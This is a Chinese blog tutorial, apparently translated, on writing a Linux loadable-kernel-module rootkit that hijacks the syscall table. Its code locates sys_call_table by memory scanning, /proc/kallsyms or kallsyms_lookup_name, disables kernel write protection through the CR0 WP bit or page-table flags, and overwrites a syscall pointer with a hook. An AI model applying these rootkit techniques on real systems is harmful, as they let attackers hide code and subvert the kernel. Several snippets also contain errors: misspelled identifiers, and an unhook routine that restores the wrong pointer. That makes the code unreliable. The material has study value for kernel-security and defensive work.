参考原文链接:Linux Kernel Module Rootkit — Syscall Table Hijacking
本文将讨论如何hook Linux系统调用,教你如何获取系统调用表的地址以及如何利用它来实现几乎所有你想做的事情
回顾LKM
LKM (Loadable Kernel Module) ,可加载内核模块,本文假设你看本文时,已经具备Linux内核模块相关的知识。
LKM是一个能够被插入到正在运行的内核代码中执行的模块化程序,最普遍的用途有,扩展内核功能,编写设备驱动程序等。另一用途就是可以用它开发一款内核级rootkit工具。
保护环(Protection rings)
目前一个操作系统中有两种程序运行模式,即用户态和内核态,这两个模式早在“保护环”的概念中就提到。“保护环”是指一个系统中的优先级阶层结构,总共有四个层级,越往内层,你的权力越大,而在现代系统模型中,实际上只使用了两层,第0层(内核态)和第3层(用户态)
运行在内核态的进程,几乎能访问系统所有资源,其中甚至包括一些敏感部分,这些敏感部分如果访问不当,可能直接导致系统宕机,而运行在用户态的进程,只能访问非常有限的资源,敏感部分肯定是不能直接访问的,需要通过设计好的、安全的系统调用去访问。这理所当然,用户程序很多都是在开发阶段,不稳定,敏感部分如果让你随便造,那不完犊子了。
Rootkits
rootkits是一个软件集,用来提权,通常是恶意的,被设计来让一个软件访问本不允许它访问的资源(例如提权成root访问系统资源),说到rootkits,可以分成两种不同的模式,内核态的rootkit,运行在内核级,以及用户态rootkit,以用户级权限运行。用户态rootkit能改变二进制文件,像改变ls、ps的默认行为,用户态rootkit也可以hook动态库,从而改变系统基础库的原本行为,例如c库。内核态的rootkit,权限则大了,它能改变内核行为,例如hook系统调用表
系统调用(System Calls)
内核负责连接用户和底层硬件资源,每次用户需要访问硬件资源,都需要通过内核来代理操作,因此它需要和内核“沟通”,这就有了系统调用这一套接口。
系统调用接口对用户是可见的,当用户需要内核服务,可以调用系统调用函数。例如,cat命令用到系统调用open()来打开一个文件,read()来读取一个文件。
系统调用仅运行在内核态,因为内核态才能访问敏感资源。这点很重要,比如,当读取文件时,内核可以向用户隐藏一些隐秘数据,只返回文件的实体内容,不告知用户与文件系统相关的一些控制信息。
系统调用表是内核中的一个数组,保存着所有系统调用的函数指针,数据结构如下
void *sys_call_table[NR_syscalls] = {
[0 ... NR_syscalls-1] = sys_ni_syscall,
#include <asm/unistd.h>
};
从代码可以看出,sys_call_table 是一个NR_syscalls大小的数组,最初的时候所有的系统调用都初始化为sys_ni_syscall(中间的ni表not implemented,即未实现),当系统初始化后,所有实现了的系统调用,都会在指定位置被重新赋值为实际的系统调用函数指针。这点就很有意思,也就是说,在我们写的驱动程序中,可以通过判断指定偏移的系统调用是否等于sys_ni_syscall,来判断该系统调用是否实现,因此,不要盲目的去hook一些系统调用,它可能在当前系统上压根没实现。
获取系统调用表的内存地址
终于到正题了,也是最有意思的部分,这篇文章的主要目的,就是教你如何hack系统调用表,实现这点最重要的就是,获取系统调用表的内存地址,然后你就能通过它来完成一些很有意思的事情。
在一些Linux历史版本中,系统调用表是有显式定义的变量名的,即SYSCALL_TABLE,但是,后来考虑到一些安全原因,它被从内核中删除了,这样,黑客想要拿到系统调用表,还是得非一番功夫的。
下面列出几种可行的方式获取系统调用表
- 内存搜索法
最简单的方式(当然不是最高效的)是暴力搜索,通过一个你切确知道的系统调用的地址(比如sys_close),去内存中暴力匹配,一旦匹配到,由于sys_close在系统调用表中的偏移是固定的,因此只需要将匹配到的地址,逆向偏移一下,就能获取到系统调用表的地址。
在这个方法中,为了提升效率,你需要一个起始搜索地址(不从0开始搜),这个起始地址需要保证在系统调用表前面,示例中选择的是sys_close,一般系统调用函数本身在系统调用表前面,因为,系统启动时,函数代码是最先被加载到内存的(这个分析来源参考文献,我觉得有点不太靠谱)。
/*
* run over the memory till find the sys call talbe
* doing so, by searching the sys call close.
*/
unsigned long * obtain_syscall_table_bf(void)
{
unsigned long *syscall_table;
unsigned long int i;
for (i = (unsigned long int)sys_close; i < ULONG_MAX;
i += sizeof(void *)) {
syscall_table = (unsigned long *)i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
}
- /proc/kallsyms
在Linux中,所有事物都可以看成是一个文件,其中有很多特殊文件,它不占用磁盘,而是存在内存中,如/proc下的文件,其中/proc/kallsyms就是所有内核符号文件,它存放着所有内核符号的地址。系统调用表的符号是sys_call_table,因此我们需要从/proc/kallsyms读取sys_call_table的内存地址
这里谈一下读这个文件的注意事项
- 数据空间问题
驱动里读数据是内核态,你在驱动里申请的内存(栈内存或堆内存)是在内核数据空间, 但是vfs_read默认输出缓冲区是用户数据空间,因此如果你直接调用vfs_read,读取文件到你栈上申请的buf,函数会报错。这时,我们需要改变全局变量addr_limit的值,addr_limit是非特权代码能够访问的最高地址,内核数据空间是在高地址(如,4G地址,后面约1G是属于内核的),因此只需增大addr_limit就可以让vfs_read访问内核数据,set_fs函数可以帮我们做到这事。 - /proc/kallsyms显示value全部为0
这涉及到安全问题,原因在于内核文件 kallsyms.c 中的显示符号地址命令中做了限制,翻看内核代码如下
static int s_show(struct seq_file *m, void *p)
{
struct kallsym_iter *iter = m->private;
/* Some debugging symbols have no name. Ignore them. */
if (!iter->name[0])
return 0;
if (iter->module_name[0]) {
char type;
/*
* Label it "global" if it is exported,
* "local" if not exported.
*/
type = iter->exported ? toupper(iter->type) :
tolower(iter->type);
seq_printf(m, "%pK %c %s\t[%s]\n", (void *)iter->value,
type, iter->name, iter->module_name);
} else
seq_printf(m, "%pK %c %s\n", (void *)iter->value,
iter->type, iter->name);
return 0;
}
seq_printf(m, “%pK %c %s\n”, (void *)iter->value, iter->type, iter->name); 中的 %pK
Documentation/printk-formats.txt有更加详细的描述, 除了我们平时遇到的一些打印格式之外, 还有一些比较特殊的格式。
后缀K是根据 /proc/sys/kernel/kptr_restrict 节点的设置来决定怎么打印变量ptr。
关于kptr_restrict的说明如下:
kptr_restrict:
This toggle indicates whether restrictions are placed on
exposing kernel addresses via /proc and other interfaces.
When kptr_restrict is set to (0), the default, there are no restrictions.
When kptr_restrict is set to (1), kernel pointers printed using the %pK
format specifier will be replaced with 0's unless the user has CAP_SYSLOG
and effective user and group ids are equal to the real ids. This is
because %pK checks are done at read() time rather than open() time, so
if permissions are elevated between the open() and the read() (e.g via
a setuid binary) then %pK will not leak kernel pointers to unprivileged
users. Note, this is a temporary solution only. The correct long-term
solution is to do the permission checks at open() time. Consider removing
world read permissions from files that use %pK, and using dmesg_restrict
to protect against uses of %pK in dmesg(8) if leaking kernel pointer
values to unprivileged users is a concern.
When kptr_restrict is set to (2), kernel pointers printed using
%pK will be replaced with 0's regardless of privileges.
总结如下(可能有细微出入)
kptr_restrict | 权限描述 |
---|---|
0 | 任何人可读 |
1 | 仅root用户组可读,其他人读出来是0 |
2 | 谁都无法读,读出来地址是0 |
最终示例代码:
/*
* Enable kernel address space which is 4G
*/
#define ENTER_KERNEL_ADDR_SPACE(oldfs) \
({ \
oldfs = get_fs(); \
set_fs (KERNEL_DS); \
});
/*
* Enable user address space which is 3G
*/
#define EXIT_KERNEL_ADDR_SPACE(oldfs) \
({ \
set_fs(oldfs); \
});
/*
* Retirve the address of syscall table from
* for kernel version >= 2.6 using file `/proc/kallsmys`
* for kernel version < 2.6 using file `/proc/ksyms`
*/
unsigned long * obtain_syscall_table_by_proc(void)
{
char *file_name = PROC_KSYMS;
int i = 0; /* Read Index */
struct file *proc_ksyms = NULL; /* struct file the '/proc/kallsyms' or '/proc/ksyms' */
char *sct_addr_str = NULL; /* buffer for save sct addr as str */
char proc_ksyms_entry[MAX_LEN_ENTRY] = {0}; /* buffer for each line at file */
unsigned long* res = NULL; /* return value */
char *proc_ksyms_entry_ptr = NULL;
int read = 0;
mm_segment_t oldfs;
/* Allocate place for sct addr as str */
if((sct_addr_str = (char*)kmalloc(MAX_LEN_ENTRY * sizeof(char), GFP_KERNEL)) == NULL)
goto CLEAN_UP;
if(((proc_ksyms = filp_open(file_name, O_RDONLY, 0)) || proc_ksyms) == NULL)
goto CLEAN_UP;
ENTER_KERNEL_ADDR_SPACE(oldfs);
read = vfs_read(proc_ksyms, proc_ksyms_entry + i, 1, &(proc_ksyms->f_pos));
EXIT_KERNEL_ADDR_SPACE(oldfs);
while( read == 1)
{
if(proc_ksyms_entry[i] == '\n' || i == MAX_LEN_ENTRY)
{
if(strstr(proc_ksyms_entry, "sys_call_table") != NULL)
{
printk(KERN_INFO "Found Syscall table\n");
printk(KERN_INFO "Line is:%s\n", proc_ksyms_entry);
proc_ksyms_entry_ptr = proc_ksyms_entry;
strncpy(sct_addr_str, strsep(&proc_ksyms_entry_ptr, " "), MAX_LEN_ENTRY);
if((res = kmalloc(sizeof(unsigned long), GFP_KERNEL)) == NULL)
goto CLEAN_UP;
kstrtoul(sct_addr_str, 16, res);
goto CLEAN_UP;
}
i = -1;
memset(proc_ksyms_entry, 0, MAX_LEN_ENTRY);
}
i++;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,0,0)
read = kernel_read(proc_ksyms, proc_ksyms_entry + i, 1, &(proc_ksyms->f_pos));
#else
ENTER_KERNEL_ADDR_SPACE();
read = vfs_read(proc_ksyms, proc_ksyms_entry + i, 1, &(proc_ksyms->f_pos));
EXIT_KERNEL_ADDR_SPACE();
#endif
}
CLEAN_UP:
if(sct_addr_str != NULL)
kfree(sct_addr_str);
if(proc_ksyms != NULL)
filp_close(proc_ksyms, 0);
return (unsigned long*)res;
}
- kallsyms_lookup_name()
最有意思的部分来了,方法1搜索内存性能差,方法2 kallsyms文件不一定有,要在一个内核中启用 kallsyms 功能,须设置 CONFIG_KALLSYMS 选项为y,如果要在 kallsyms 中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALL 为y,因此,最靠谱的还是kallsyms_lookup_name,是内核函数,声明放在linux/kallsyms.h中,简单好用。
printk("The address of sys_call_table is: %lx\n", kallsyms_lookup_name("sys_call_table"));
Hook一个系统调用
之前已经讨论的如何获取系统调用表的地址,接下来的重点就是如何修改调用表的值,使它指向我们的hook函数。
学过Linux都知道,Linux对内存是有保护功能的,系统调用表一般放在只读区,因此就算你拿到它的地址,你也无法直接修改它。想要修改它,还是需要折腾一番的。
-
c
r
0
cr_0
cr0寄存器
CPU有各种各样的寄存器,其中一种就是控制寄存器,命名以cr(control register)打头,控制寄存器包含许多标志位,这些标志位会控制CPU的行为,其中有个寄存器 c r 0 cr_0 cr0, c r 0 cr_0 cr0的WP(write protection)标志位会告诉CPU是否对只读内存具有写权限,当WP=1,CPU不能写只读区,WP=0则可以写只读区。
#define unprotect_memory() \
({ \
orig_cr0 = read_cr0();\
write_cr0(orig_cr0 & (~ 0x10000)); /* Set WP flag to 0 */ \
});
#define protect_memory() \
({ \
write_cr0(orig_cr0); /* Set WP flag to 1 */ \
});
- 页表项读写标志位
改 c r 0 cr_0 cr0的WP相当于关闭了所有的页写保护,这个权限范围有点大了,虽然方便,但非常不安全。相对于改 c r 0 cr_0 cr0的WP,改页表项的读写标志就明显的缩小了作用范围,只针对系统调用表所在的页修改权限,这样既能达到目的,也较为安全。
typedef pte_t* (*pfun)(unsigned long, unsigned int*);
pfun g_lookup_address = NULL;
inline void set_writable(unsigned long address) // 将address所在的页设置为可写
{
unsigned int level;
pte_t *pte = g_lookup_address(address, &level); // 查询地址address所在的页表项
pte->pte |= _PAGE_RW;
}
inline void set_readonly(unsigned long address) // 将address所在的页设置为只读
{
unsigned int level;
pte_t *pte = g_lookup_address(address, &level);
pte->pte &= ~_PAGE_RW;
}
代码中,g_lookup_address是内核函数lookup_address的地址,可以通过之前说的方式获得
最后的工作,hook
/*
* This is not a whole code, but only a snippet.
* Some functions *is* missing.
*/
asmlinkage long (*orig_shutdown)(int, int);
unsigned long *sys_call_table;
hooking_syscall(void *hook_addr, uint16_t syscall_offset, unsigned long *sys_call_tabe)
{
unprotect_memory();
sys_call_table[syscall_offset] = (unsigned long)hook_addr;
protect_memory();
}
unhooking_syscall(void *orig_addr, uint16_t syscall_offset)
{
unprotect_memory();
sys_call_table[syscall_offset] = (unsigned long)hook_addr;
protect_memory();
}
asmlinkage int hooked_shutdown(int magic1, int magic2)
{
printk("Hello from hook!");
return orig_shutdown(magic1, magic2);
}
static int __init module_init(void)
{
unsigned long *sys_call_table = kallsyms_lookup_name("sys_call_table"));
orig_shutdown = (void*)sys_call_table[__NR_shutdown];
hooking_syscall(hooked_shutdown, __NR_shutdown, sys_call_tabe);
}
static void __exit module_cleanup(void)
{
unhooking_syscall(orig_shutdown, __NE_shutdown, sys_call_table);
}
到此,一个Linux调用的hook就已经完成了。
参考
[1] About the kernel — The Linux Information Project
[2] bootlin — kernel source code by versions
[3] Diamorphine Rootkit — A simple Linux kernel rootkit